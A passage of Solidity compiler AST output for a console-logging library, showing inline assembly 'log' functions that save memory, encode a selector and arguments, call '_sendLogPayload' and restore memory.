YulFunctionCall","src":"207076:11:22"},"variableNames":[{"name":"m3","nativeSrc":"207070:2:22","nodeType":"YulIdentifier","src":"207070:2:22"}]},{"nativeSrc":"207100:17:22","nodeType":"YulAssignment","src":"207100:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"207112:4:22","nodeType":"YulLiteral","src":"207112:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"207106:5:22","nodeType":"YulIdentifier","src":"207106:5:22"},"nativeSrc":"207106:11:22","nodeType":"YulFunctionCall","src":"207106:11:22"},"variableNames":[{"name":"m4","nativeSrc":"207100:2:22","nodeType":"YulIdentifier","src":"207100:2:22"}]},{"nativeSrc":"207130:17:22","nodeType":"YulAssignment","src":"207130:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"207142:4:22","nodeType":"YulLiteral","src":"207142:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"207136:5:22","nodeType":"YulIdentifier","src":"207136:5:22"},"nativeSrc":"207136:11:22","nodeType":"YulFunctionCall","src":"207136:11:22"},"variableNames":[{"name":"m5","nativeSrc":"207130:2:22","nodeType":"YulIdentifier","src":"207130:2:22"}]},{"nativeSrc":"207160:17:22","nodeType":"YulAssignment","src":"207160:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"207172:4:22","nodeType":"YulLiteral","src":"207172:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"207166:5:22","nodeType":"YulIdentifier","src":"207166:5:22"},"nativeSrc":"207166:11:22","nodeType":"YulFunctionCall","src":"207166:11:22"},"variableNames":[{"name":"m6","nativeSrc":"207160:2:22","nodeType":"YulIdentifier","src":"207160:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"207260:4:22","nodeType":"YulLiteral","src":"207260:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"207266:10:22","nodeType":"YulLiteral","src":"207266:10:22","type":"","value":"0x2b2b18dc"}],"functionName":{"name":"mstore","nativeSrc":"207253:6:22","nodeType":"YulIdentifier","src":"207253:6:22"},"nativeSrc":"207253:24:22","nodeType":"YulFunctionCall","src":"207253:24:22"},"nativeSrc":"207253:24:22","nodeType":"YulExpressionStatement","src":"207253:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"207297:4:22","nodeType":"YulLiteral","src":"207297:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"207303:2:22","nodeType":"YulIdentifier","src":"207303:2:22"}],"functionName":{"name":"mstore","nativeSrc":"207290:6:22","nodeType":"YulIdentifier","src":"207290:6:22"},"nativeSrc":"207290:16:22","nodeType":"YulFunctionCall","src":"207290:16:22"},"nativeSrc":"207290:16:22","nodeType":"YulExpressionStatement","src":"207290:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"207326:4:22","nodeType":"YulLiteral","src":"207326:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"207332:4:22","nodeType":"YulLiteral","src":"207332:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"207319:6:22","nodeType":"YulIdentifier","src":"207319:6:22"},"nativeSrc":"207319:18:22","nodeType":"YulFunctionCall","src":"207319:18:22"},"nativeSrc":"207319:18:22","nodeType":"YulExpressionStatement","src":"207319:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"207357:4:22","nodeType":"YulLiteral","src":"207357:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"207363:2:22","nodeType":"YulIdentifier","src":"207363:2:22"}],"functionName":{"name":"mstore","nativeSrc":"207350:6:22","nodeType":"YulIdentifier","src":"207350:6:22"},"nativeSrc":"207350:16:22","nodeType":"YulFunctionCall","src":"207350:16:22"},"nativeSrc":"207350:16:22","nodeType":"YulExpressionStatement","src":"207350:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"207386:4:22","nodeType":"YulLiteral","src":"207386:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"207392:2:22","nodeType":"YulIdentifier","src":"207392:2:22"}],"functionName":{"name":"mstore","nativeSrc":"207379:6:22","nodeType":"YulIdentifier","src":"207379:6:22"},"nativeSrc":"207379:16:22","nodeType":"YulFunctionCall","src":"207379:16:22"},"nativeSrc":"207379:16:22","nodeType":"YulExpressionStatement","src":"207379:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"207420:4:22","nodeType":"YulLiteral","src":"207420:4:22","type":"","value":"0xa0"},{"name":"p1","nativeSrc":"207426:2:22","nodeType":"YulIdentifier","src":"207426:2:22"}],"functionName":{"name":"writeString","nativeSrc":"207408:11:22","nodeType":"YulIdentifier","src":"207408:11:22"},"nativeSrc":"207408:21:22","nodeType":"YulFunctionCall","src":"207408:21:22"},"nativeSrc":"207408:21:22","nodeType":"YulExpressionStatement","src":"207408:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40598,"isOffset":false,"isSlot":false,"src":"206980:2:22","valueSize":1},{"declaration":40601,"isOffset":false,"isSlot":false,"src":"207010:2:22","valueSize":1},{"declaration":40604,"isOffset":false,"isSlot":false,"src":"207040:2:22","valueSize":1},{"declaration":40607,"isOffset":false,"isSlot":false,"src":"207070:2:22","valueSize":1},{"declaration":40610,"isOffset":false,"isSlot":false,"src":"207100:2:22","valueSize":1},{"declaration":40613,"isOffset":false,"isSlot":false,"src":"207130:2:22","valueSize":1},{"declaration":40616,"isOffset":false,"isSlot":false,"src":"207160:2:22","valueSize":1},{"declaration":40588,"isOffset":false,"isSlot":false,"src":"207303:2:22","valueSize":1},{"declaration":40590,"isOffset":false,"isSlot":false,"src":"207426:2:22","valueSize":1},{"declaration":40592,"isOffset":false,"isSlot":false,"src":"207363:2:22","valueSize":1},{"declaration":40594,"isOffset":false,"isSlot":false,"src":"207392:2:22","valueSize":1}],"id":40618,"nodeType":"InlineAssembly","src":"206602:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":40620,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"207464:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":40621,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"207470:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":40619,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"207448:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":40622,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"207448:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":40623,"nodeType":"ExpressionStatement","src":"207448:27:22"},{"AST":{"nativeSrc":"207494:214:22","nodeType":"YulBlock","src":"207494:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"207515:4:22","nodeType":"YulLiteral","src":"207515:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"207521:2:22","nodeType":"YulIdentifier","src":"207521:2:22"}],"functionName":{"name":"mstore","nativeSrc":"207508:6:22","nodeType":"YulIdentifier","src":"207508:6:22"},"nativeSrc":"207508:16:22","nodeType":"YulFunctionCall","src":"207508:16:22"},"nativeSrc":"207508:16:22","nodeType":"YulExpressionStatement","src":"207508:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"207544:4:22","nodeType":"YulLiteral","src":"207544:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"207550:2:22","nodeType":"YulIdentifier","src":"207550:2:22"}],"functionName":{"name":"mstore","nativeSrc":"207537:6:22","nodeType":"YulIdentifier","src":"207537:6:22"},"nativeSrc":"207537:16:22","nodeType":"YulFunctionCall","src":"207537:16:22"},"nativeSrc":"207537:16:22","nodeType":"YulExpressionStatement","src":"207537:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"207573:4:22","nodeType":"YulLiteral","src":"207573:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"207579:2:22","nodeType":"YulIdentifier","src":"207579:2:22"}],"functionName":{"name":"mstore","nativeSrc":"207566:6:22","nodeType":"YulIdentifier","src":"207566:6:22"},"nativeSrc":"207566:16:22","nodeType":"YulFunctionCall","src":"207566:16:22"},"nativeSrc":"207566:16:22","nodeType":"YulExpressionStatement","src":"207566:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"207602:4:22","nodeType":"YulLiteral","src":"207602:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"207608:2:22","nodeType":"YulIdentifier","src":"207608:2:22"}],"functionName":{"name":"mstore","nativeSrc":"207595:6:22","nodeType":"YulIdentifier","src":"207595:6:22"},"nativeSrc":"207595:16:22","nodeType":"YulFunctionCall","src":"207595:16:22"},"nativeSrc":"207595:16:22","nodeType":"YulExpressionStatement","src":"207595:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"207631:4:22","nodeType":"YulLiteral","src":"207631:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"207637:2:22","nodeType":"YulIdentifier","src":"207637:2:22"}],"functionName":{"name":"mstore","nativeSrc":"207624:6:22","nodeType":"YulIdentifier","src":"207624:6:22"},"nativeSrc":"207624:16:22","nodeType":"YulFunctionCall","src":"207624:16:22"},"nativeSrc":"207624:16:22","nodeType":"YulExpressionStatement","src":"207624:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"207660:4:22","nodeType":"YulLiteral","src":"207660:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"207666:2:22","nodeType":"YulIdentifier","src":"207666:2:22"}],"functionName":{"name":"mstore","nativeSrc":"207653:6:22","nodeType":"YulIdentifier","src":"207653:6:22"},"nativeSrc":"207653:16:22","nodeType":"YulFunctionCall","src":"207653:16:22"},"nativeSrc":"207653:16:22","nodeType":"YulExpressionStatement","src":"207653:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"207689:4:22","nodeType":"YulLiteral","src":"207689:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"207695:2:22","nodeType":"YulIdentifier","src":"207695:2:22"}],"functionName":{"name":"mstore","nativeSrc":"207682:6:22","nodeType":"YulIdentifier","src":"207682:6:22"},"nativeSrc":"207682:16:22","nodeType":"YulFunctionCall","src":"207682:16:22"},"nativeSrc":"207682:16:22","nodeType":"YulExpressionStatement","src":"207682:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":40598,"isOffset":false,"isSlot":false,"src":"207521:2:22","valueSize":1},{"declaration":40601,"isOffset":false,"isSlot":false,"src":"207550:2:22","valueSize":1},{"declaration":40604,"isOffset":false,"isSlot":false,"src":"207579:2:22","valueSize":1},{"declaration":40607,"isOffset":false,"isSlot":false,"src":"207608:2:22","valueSize":1},{"declaration":40610,"isOffset":false,"isSlot":false,"src":"207637:2:22","valueSize":1},{"declaration":40613,"isOffset":false,"isSlot":false,"src":"207666:2:22","valueSize":1},{"declaration":40616,"isOffset":false,"isSlot":false,"src":"207695:2:22","valueSize":1}],"id":40624,"nodeType":"InlineAssembly","src":"207485:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"206389:3:22","parameters":{"id":40595,"nodeType":"ParameterList","parameters":[{"constant":false,"id":40588,"mutability":"mutable","name":"p0","nameLocation":"206398:2:22","nodeType":"VariableDeclaration","scope":40626,"src":"206393:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":40587,"name":"bool","nodeType":"ElementaryTypeName","src":"206393:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":40590,"mutability":"mutable","name":"p1","nameLocation":"206410:2:22","nodeType":"VariableDeclaration","scope":40626,"src":"206402:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40589,"name":"bytes32","nodeType":"ElementaryTypeName","src":"206402:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":40592,"mutability":"mutable","name":"p2","nameLocation":"206422:2:22","nodeType":"VariableDeclaration","scope":40626,"src":"206414:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":40591,"name":"address","nodeType":"ElementaryTypeName","src":"206414:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":40594,"mutability":"mutable","name":"p3","nameLocation":"206434:2:22","nodeType":"VariableDeclaration","scope":40626,"src":"206426:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":40593,"name":"address","nodeType":"ElementaryTypeName","src":"206426:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"206392:45:22"},"returnParameters":{"id":40596,"nodeType":"ParameterList","parameters":[],"src":"206452:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":40666,"nodeType":"FunctionDefinition","src":"207720:1328:22","nodes":[],"body":{"id":40665,"nodeType":"Block","src":"207789:1259:22","nodes":[],"statements":[{"assignments":[40638],"declarations":[{"constant":false,"id":40638,"mutability":"mutable","name":"m0","nameLocation":"207807:2:22","nodeType":"VariableDeclaration","scope":40665,"src":"207799:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40637,"name":"bytes32","nodeType":"ElementaryTypeName","src":"207799:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40639,"nodeType":"VariableDeclarationStatement","src":"207799:10:22"},{"assignments":[40641],"declarations":[{"constant":false,"id":40641,"mutability":"mutable","name":"m1","nameLocation":"207827:2:22","nodeType":"VariableDeclaration","scope":40665,"src":"207819:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40640,"name":"bytes32","nodeType":"ElementaryTypeName","src":"207819:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40642,"nodeType":"VariableDeclarationStatement","src":"207819:10:22"},{"assignments":[40644],"declarations":[{"constant":false,"id":40644,"mutability":"mutable","name":"m2","nameLocation":"207847:2:22","nodeType":"VariableDeclaration","scope":40665,"src":"207839:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40643,"name":"bytes32","nodeType":"ElementaryTypeName","src":"207839:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40645,"nodeType":"VariableDeclarationStatement","src":"207839:10:22"},{"assignments":[40647],"declarations":[{"constant":false,"id":40647,"mutability":"mutable","name":"m3","nameLocation":"207867:2:22","nodeType":"VariableDeclaration","scope":40665,"src":"207859:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40646,"name":"bytes32","nodeType":"ElementaryTypeName","src":"207859:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40648,"nodeType":"VariableDeclarationStatement","src":"207859:10:22"},{"assignments":[40650],"declarations":[{"constant":false,"id":40650,"mutability":"mutable","name":"m4","nameLocation":"207887:2:22","nodeType":"VariableDeclaration","scope":40665,"src":"207879:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40649,"name":"bytes32","nodeType":"ElementaryTypeName","src":"207879:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40651,"nodeType":"VariableDeclarationStatement","src":"207879:10:22"},{"assignments":[40653],"declarations":[{"constant":false,"id":40653,"mutability":"mutable","name":"m5","nameLocation":"207907:2:22","nodeType":"VariableDeclaration","scope":40665,"src":"207899:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40652,"name":"bytes32","nodeType":"ElementaryTypeName","src":"207899:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40654,"nodeType":"VariableDeclarationStatement","src":"207899:10:22"},{"assignments":[40656],"declarations":[{"constant":false,"id":40656,"mutability":"mutable","name":"m6","nameLocation":"207927:2:22","nodeType":"VariableDeclaration","scope":40665,"src":"207919:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":40655,"name":"bytes32","nodeType":"ElementaryTypeName","src":"207919:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":40657,"nodeType":"VariableDeclarationStatement","src":"207919:10:22"},{"AST":{"nativeSrc":"207948:825:22","nodeType":"YulBlock","src":"207948:825:22","statements":[{"body":{"nativeSrc":"207991:313:22","nodeType":"YulBlock","src":"207991:313:22","statements":[{"nativeSrc":"208009:15:22","nodeType":"YulVariableDeclaration","src":"208009:15:22","value":{"kind":"number","nativeSrc":"208023:1:22","nodeType":"YulLiteral","src":"208023:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"208013:6:22","nodeType":"YulTypedName","src":"208013:6:22","type":""}]},{"body":{"nativeSrc":"208094:40:22","nodeType":"YulBlock","src":"208094:40:22","statements":[{"body":{"nativeSrc":"208123:9:22","nodeType":"YulBlock","src":"208123:9:22","statements":[{"nativeSrc":"208125:5:22","nodeType":"YulBreak","src":"208125:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"208111:6:22","nodeType":"YulIdentifier","src":"208111:6:22"},{"name":"w","nativeSrc":"208119:1:22","nodeType":"YulIdentifier","src":"208119:1:22"}],"functionName":{"name":"byte","nativeSrc":"208106:4:22","nodeType":"YulIdentifier","src":"208106:4:22"},"nativeSrc":"208106:15:22","nodeType":"YulFunctionCall","src":"208106:15:22"}],"functionName":{"name":"iszero","nativeSrc":"208099:6:22","nodeType":"YulIdentifier","src":"208099:6:22"},"nativeSrc":"208099:23:22","nodeType":"YulFunctionCall","src":"208099:23:22"},"nativeSrc":"208096:36:22","nodeType":"YulIf","src":"208096:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"208051:6:22","nodeType":"YulIdentifier","src":"208051:6:22"},{"kind":"number","nativeSrc":"208059:4:22","nodeType":"YulLiteral","src":"208059:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"208048:2:22","nodeType":"YulIdentifier","src":"208048:2:22"},"nativeSrc":"208048:16:22","nodeType":"YulFunctionCall","src":"208048:16:22"},"nativeSrc":"208041:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"208065:28:22","nodeType":"YulBlock","src":"208065:28:22","statements":[{"nativeSrc":"208067:24:22","nodeType":"YulAssignment","src":"208067:24:22","value":{"arguments":[{"name":"length","nativeSrc":"208081:6:22","nodeType":"YulIdentifier","src":"208081:6:22"},{"kind":"number","nativeSrc":"208089:1:22","nodeType":"YulLiteral","src":"208089:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"208077:3:22","nodeType":"YulIdentifier","src":"208077:3:22"},"nativeSrc":"208077:14:22","nodeType":"YulFunctionCall","src":"208077:14:22"},"variableNames":[{"name":"length","nativeSrc":"208067:6:22","nodeType":"YulIdentifier","src":"208067:6:22"}]}]},"pre":{"nativeSrc":"208045:2:22","nodeType":"YulBlock","src":"208045:2:22","statements":[]},"src":"208041:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"208158:3:22","nodeType":"YulIdentifier","src":"208158:3:22"},{"name":"length","nativeSrc":"208163:6:22","nodeType":"YulIdentifier","src":"208163:6:22"}],"functionName":{"name":"mstore","nativeSrc":"208151:6:22","nodeType":"YulIdentifier","src":"208151:6:22"},"nativeSrc":"208151:19:22","nodeType":"YulFunctionCall","src":"208151:19:22"},"nativeSrc":"208151:19:22","nodeType":"YulExpressionStatement","src":"208151:19:22"},{"nativeSrc":"208187:37:22","nodeType":"YulVariableDeclaration","src":"208187:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"208204:3:22","nodeType":"YulLiteral","src":"208204:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"208213:1:22","nodeType":"YulLiteral","src":"208213:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"208216:6:22","nodeType":"YulIdentifier","src":"208216:6:22"}],"functionName":{"name":"shl","nativeSrc":"208209:3:22","nodeType":"YulIdentifier","src":"208209:3:22"},"nativeSrc":"208209:14:22","nodeType":"YulFunctionCall","src":"208209:14:22"}],"functionName":{"name":"sub","nativeSrc":"208200:3:22","nodeType":"YulIdentifier","src":"208200:3:22"},"nativeSrc":"208200:24:22","nodeType":"YulFunctionCall","src":"208200:24:22"},"variables":[{"name":"shift","nativeSrc":"208191:5:22","nodeType":"YulTypedName","src":"208191:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"208252:3:22","nodeType":"YulIdentifier","src":"208252:3:22"},{"kind":"number","nativeSrc":"208257:4:22","nodeType":"YulLiteral","src":"208257:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"208248:3:22","nodeType":"YulIdentifier","src":"208248:3:22"},"nativeSrc":"208248:14:22","nodeType":"YulFunctionCall","src":"208248:14:22"},{"arguments":[{"name":"shift","nativeSrc":"208268:5:22","nodeType":"YulIdentifier","src":"208268:5:22"},{"arguments":[{"name":"shift","nativeSrc":"208279:5:22","nodeType":"YulIdentifier","src":"208279:5:22"},{"name":"w","nativeSrc":"208286:1:22","nodeType":"YulIdentifier","src":"208286:1:22"}],"functionName":{"name":"shr","nativeSrc":"208275:3:22","nodeType":"YulIdentifier","src":"208275:3:22"},"nativeSrc":"208275:13:22","nodeType":"YulFunctionCall","src":"208275:13:22"}],"functionName":{"name":"shl","nativeSrc":"208264:3:22","nodeType":"YulIdentifier","src":"208264:3:22"},"nativeSrc":"208264:25:22","nodeType":"YulFunctionCall","src":"208264:25:22"}],"functionName":{"name":"mstore","nativeSrc":"208241:6:22","nodeType":"YulIdentifier","src":"208241:6:22"},"nativeSrc":"208241:49:22","nodeType":"YulFunctionCall","src":"208241:49:22"},"nativeSrc":"208241:49:22","nodeType":"YulExpressionStatement","src":"208241:49:22"}]},"name":"writeString","nativeSrc":"207962:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"207983:3:22","nodeType":"YulTypedName","src":"207983:3:22","type":""},{"name":"w","nativeSrc":"207988:1:22","nodeType":"YulTypedName","src":"207988:1:22","type":""}],"src":"207962:342:22"},{"nativeSrc":"208317:17:22","nodeType":"YulAssignment","src":"208317:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"208329:4:22","nodeType":"YulLiteral","src":"208329:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"208323:5:22","nodeType":"YulIdentifier","src":"208323:5:22"},"nativeSrc":"208323:11:22","nodeType":"YulFunctionCall","src":"208323:11:22"},"variableNames":[{"name":"m0","nativeSrc":"208317:2:22","nodeType":"YulIdentifier","src":"208317:2:22"}]},{"nativeSrc":"208347:17:22","nodeType":"YulAssignment","src":"208347:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"208359:4:22","nodeType":"YulLiteral","src":"208359:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"208353:5:22","nodeType":"YulIdentifier","src":"208353:5:22"},"nativeSrc":"208353:11:22","nodeType":"YulFunctionCall","src":"208353:11:22"},"variableNames":[{"name":"m1","nativeSrc":"208347:2:22","nodeType":"YulIdentifier","src":"208347:2:22"}]},{"nativeSrc":"208377:17:22","nodeType":"YulAssignment","src":"208377:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"208389:4:22","nodeType":"YulLiteral","src":"208389:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"208383:5:22","nodeType":"YulIdentifier","src":"208383:5:22"},"nativeSrc":"208383:11:22","nodeType":"YulFunctionCall","src":"208383:11:22"},"variableNames":[{"name":"m2","nativeSrc":"208377:2:22","nodeType":"YulIdentifier","src":"208377:2:22"}]},{"nativeSrc":"208407:17:22","nodeType":"YulAssignment","src":"208407:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"208419:4:22","nodeType":"YulLiteral","src":"208419:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"208413:5:22","nodeType":"YulIdentifier","src":"208413:5:22"},"nativeSrc":"208413:11:22","nodeType":"YulFunctionCall","src":"208413:11:22"},"variableNames":[{"name":"m3","nativeSrc":"208407:2:22","nodeType":"YulIdentifier","src":"208407:2:22"}]},{"nativeSrc":"208437:17:22","nodeType":"YulAssignment","src":"208437:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"208449:4:22","nodeType":"YulLiteral","src":"208449:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"208443:5:22","nodeType":"YulIdentifier","src":"208443:5:22"},"nativeSrc":"208443:11:22","nodeType":"YulFunctionCall","src":"208443:11:22"},"variableNames":[{"name":"m4","nativeSrc":"208437:2:22","nodeType":"YulIdentifier","src":"208437:2:22"}]},{"nativeSrc":"208467:17:22","nodeType":"YulAssignment","src":"208467:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"208479:4:22","nodeType":"YulLiteral","src":"208479:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"208473:5:22","nodeType":"YulIdentifier","src":"208473:5:22"},"nativeSrc":"208473:11:22","nodeType":"YulFunctionCall","src":"208473:11:22"},"variableNames":[{"name":"m5","nativeSrc":"208467:2:22","nodeType":"YulIdentifier","src":"208467:2:22"}]},{"nativeSrc":"208497:17:22","nodeType":"YulAssignment","src":"208497:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"208509:4:22","nodeType":"YulLiteral","src":"208509:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"208503:5:22","nodeType":"YulIdentifier","src":"208503:5:22"},"nativeSrc":"208503:11:22","nodeType":"YulFunctionCall","src":"208503:11:22"},"variableNames":[{"name":"m6","nativeSrc":"208497:2:22","nodeType":"YulIdentifier","src":"208497:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"208594:4:22","nodeType":"YulLiteral","src":"208594:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"208600:10:22","nodeType":"YulLiteral","src":"208600:10:22","type":"","value":"0x6dd434ca"}],"functionName":{"name":"mstore","nativeSrc":"208587:6:22","nodeType":"YulIdentifier","src":"208587:6:22"},"nativeSrc":"208587:24:22","nodeType":"YulFunctionCall","src":"208587:24:22"},"nativeSrc":"208587:24:22","nodeType":"YulExpressionStatement","src":"208587:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"208631:4:22","nodeType":"YulLiteral","src":"208631:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"208637:2:22","nodeType":"YulIdentifier","src":"208637:2:22"}],"functionName":{"name":"mstore","nativeSrc":"208624:6:22","nodeType":"YulIdentifier","src":"208624:6:22"},"nativeSrc":"208624:16:22","nodeType":"YulFunctionCall","src":"208624:16:22"},"nativeSrc":"208624:16:22","nodeType":"YulExpressionStatement","src":"208624:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"208660:4:22","nodeType":"YulLiteral","src":"208660:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"208666:4:22","nodeType":"YulLiteral","src":"208666:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"208653:6:22","nodeType":"YulIdentifier","src":"208653:6:22"},"nativeSrc":"208653:18:22","nodeType":"YulFunctionCall","src":"208653:18:22"},"nativeSrc":"208653:18:22","nodeType":"YulExpressionStatement","src":"208653:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"208691:4:22","nodeType":"YulLiteral","src":"208691:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"208697:2:22","nodeType":"YulIdentifier","src":"208697:2:22"}],"functionName":{"name":"mstore","nativeSrc":"208684:6:22","nodeType":"YulIdentifier","src":"208684:6:22"},"nativeSrc":"208684:16:22","nodeType":"YulFunctionCall","src":"208684:16:22"},"nativeSrc":"208684:16:22","nodeType":"YulExpressionStatement","src":"208684:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"208720:4:22","nodeType":"YulLiteral","src":"208720:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"208726:2:22","nodeType":"YulIdentifier","src":"208726:2:22"}],"functionName":{"name":"mstore","nativeSrc":"208713:6:22","nodeType":"YulIdentifier","src":"208713:6:22"},"nativeSrc":"208713:16:22","nodeType":"YulFunctionCall","src":"208713:16:22"},"nativeSrc":"208713:16:22","nodeType":"YulExpre